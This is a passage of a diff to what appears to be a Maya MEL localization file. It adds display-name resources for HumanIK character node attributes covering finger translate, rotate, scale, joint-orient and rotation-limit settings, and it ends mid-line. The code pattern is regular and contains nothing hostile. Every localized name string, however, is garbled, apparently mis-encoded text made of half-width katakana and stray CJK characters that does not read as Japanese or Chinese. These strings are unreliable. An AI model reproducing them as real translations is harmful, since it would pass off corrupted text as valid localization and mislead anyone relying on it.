+setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerJointOrient", "ラハヨチヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerJointOrientx", "ラハヨチヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerJointOrienty", "ラハヨチヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerJointOrientz", "ラハヨチヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimit", "ラハヨチヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimitx", "ラハヨチヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimity", "ラハヨチヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimitz", "ラハヨチヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimit", "ラハヨチヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimitx", "ラハヨチヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimity", "ラハヨチヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimitz", "ラハヨチヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimitEnablex", "ニモテラハヨチヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimitEnabley", "ニモテラハヨチヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimitEnablez", "ニモテラハヨチヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimitEnablex", "ニモテラハヨチヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimitEnabley", "ニモテラハヨチヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimitEnablez", "ニモテラハヨチヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumb", "モメハヨトエヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbT", "モメハヨトエヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbTx", "モメハヨトエヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbTy", "モメハヨトエヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbTz", "モメハヨトエヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbR", "モメハヨトエヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRx", "モメハヨトエヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRy", "モメハヨトエヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRz", "モメハヨトエヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbS", "モメハヨトエヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbSx", "モメハヨトエヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbSy", "モメハヨトエヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbSz", "モメハヨトエヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", "モメハヨトエヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRotateAxis", "モメハヨトエヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRotateAxisx", "モメハヨトエヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRotateAxisy", "モメハヨトエヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRotateAxisz", "モメハヨトエヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbJointOrient", "モメハヨトエヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbJointOrientx", "モメハヨトエヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbJointOrienty", "モメハヨトエヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbJointOrientz", "モメハヨトエヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimit", "モメハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimitx", "モメハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimity", "モメハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimitz", "モメハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimit", "モメハヨトエヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimitx", "モメハヨトエヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimity", "モメハヨトエヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimitz", "モメハヨトエヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimitEnablex", "ニモテモメハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimitEnabley", "ニモテモメハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimitEnablez", "ニモテモメハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimitEnablex", "ニモテモメハヨトエヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimitEnabley", "ニモテモメハヨトエヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimitEnablez", "ニモテモメハヨトエヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndex", "モメハヨハウヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexT", "モメハヨハウヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexTx", "モメハヨハウヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexTy", "モメハヨハウヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexTz", "モメハヨハウヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexR", "モメハヨハウヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRx", "モメハヨハウヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRy", "モメハヨハウヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRz", "モメハヨハウヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexS", "モメハヨハウヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexSx", "モメハヨハウヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexSy", "モメハヨハウヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexSz", "モメハヨハウヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", "モメハヨハウヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRotateAxis", "モメハヨハウヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRotateAxisx", "モメハヨハウヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRotateAxisy", "モメハヨハウヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRotateAxisz", "モメハヨハウヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexJointOrient", "モメハヨハウヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexJointOrientx", "モメハヨハウヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexJointOrienty", "モメハヨハウヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexJointOrientz", "モメハヨハウヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimit", "モメハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimitx", "モメハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimity", "モメハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimitz", "モメハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimit", "モメハヨハウヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimitx", "モメハヨハウヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimity", "モメハヨハウヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimitz", "モメハヨハウヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimitEnablex", "ニモテモメハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimitEnabley", "ニモテモメハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimitEnablez", "ニモテモメハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimitEnablex", "ニモテモメハヨハウヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimitEnabley", "ニモテモメハヨハウヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimitEnablez", "ニモテモメハヨハウヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddle", "モメハヨヨミヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleT", "モメハヨヨミヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleTx", "モメハヨヨミヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleTy", "モメハヨヨミヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleTz", "モメハヨヨミヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleR", "モメハヨヨミヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRx", "モメハヨヨミヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRy", "モメハヨヨミヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRz", "モメハヨヨミヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleS", "モメハヨヨミヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleSx", "モメハヨヨミヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleSy", "モメハヨヨミヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleSz", "モメハヨヨミヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", "モメハヨヨミヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRotateAxis", "モメハヨヨミヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRotateAxisx", "モメハヨヨミヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRotateAxisy", "モメハヨヨミヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRotateAxisz", "モメハヨヨミヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleJointOrient", "モメハヨヨミヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleJointOrientx", "モメハヨヨミヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleJointOrienty", "モメハヨヨミヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleJointOrientz", "モメハヨヨミヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimit", "モメハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimitx", "モメハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimity", "モメハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimitz", "モメハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimit", "モメハヨヨミヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimitx", "モメハヨヨミヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimity", "モメハヨヨミヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimitz", "モメハヨヨミヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimitEnablex", "ニモテモメハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimitEnabley", "ニモテモメハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimitEnablez", "ニモテモメハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimitEnablex", "ニモテモメハヨヨミヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimitEnabley", "ニモテモメハヨヨミヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimitEnablez", "ニモテモメハヨヨミヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRing", "モメハヨボテヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingT", "モメハヨボテヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingTx", "モメハヨボテヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingTy", "モメハヨボテヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingTz", "モメハヨボテヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingR", "モメハヨボテヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRx", "モメハヨボテヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRy", "モメハヨボテヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRz", "モメハヨボテヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingS", "モメハヨボテヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingSx", "モメハヨボテヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingSy", "モメハヨボテヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingSz", "モメハヨボテヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRotateOrder", "モメハヨボテヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRotateAxis", "モメハヨボテヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRotateAxisx", "モメハヨボテヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRotateAxisy", "モメハヨボテヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRotateAxisz", "モメハヨボテヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingJointOrient", "モメハヨボテヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingJointOrientx", "モメハヨボテヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingJointOrienty", "モメハヨボテヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingJointOrientz", "モメハヨボテヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimit", "モメハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimitx", "モメハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimity", "モメハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimitz", "モメハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimit", "モメハヨボテヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimitx", "モメハヨボテヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimity", "モメハヨボテヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimitz", "モメハヨボテヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimitEnablex", "ニモテモメハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimitEnabley", "ニモテモメハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimitEnablez", "ニモテモメハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimitEnablex", "ニモテモメハヨボテヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimitEnabley", "ニモテモメハヨボテヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimitEnablez", "ニモテモメハヨボテヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinky", "モメハヨミ。ヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyT", "モメハヨミ。ヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyTx", "モメハヨミ。ヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyTy", "モメハヨミ。ヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyTz", "モメハヨミ。ヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyR", "モメハヨミ。ヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRx", "モメハヨミ。ヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRy", "モメハヨミ。ヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRz", "モメハヨミ。ヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyS", "モメハヨミ。ヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkySx", "モメハヨミ。ヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkySy", "モメハヨミ。ヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkySz", "モメハヨミ。ヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", "モメハヨミ。ヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRotateAxis", "モメハヨミ。ヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRotateAxisx", "モメハヨミ。ヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRotateAxisy", "モメハヨミ。ヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRotateAxisz", "モメハヨミ。ヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyJointOrient", "モメハヨミ。ヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyJointOrientx", "モメハヨミ。ヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyJointOrienty", "モメハヨミ。ヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyJointOrientz", "モメハヨミ。ヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimit", "モメハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimitx", "モメハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimity", "モメハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimitz", "モメハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimit", "モメハヨミ。ヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimitx", "モメハヨミ。ヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimity", "モメハヨミ。ヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimitz", "モメハヨミ。ヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimitEnablex", "ニモテモメハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimitEnabley", "ニモテモメハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimitEnablez", "ニモテモメハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimitEnablex", "ニモテモメハヨミ。ヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimitEnabley", "ニモテモメハヨミ。ヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimitEnablez", "ニモテモメハヨミ。ヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFinger", "モメハヨチヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerT", "モメハヨチヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerTx", "モメハヨチヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerTy", "モメハヨチヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerTz", "モメハヨチヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerR", "モメハヨチヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRx", "モメハヨチヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRy", "モメハヨチヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRz", "モメハヨチヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerS", "モメハヨチヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerSx", "モメハヨチヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerSy", "モメハヨチヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerSz", "モメハヨチヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", "モメハヨチヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRotateAxis", "モメハヨチヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", 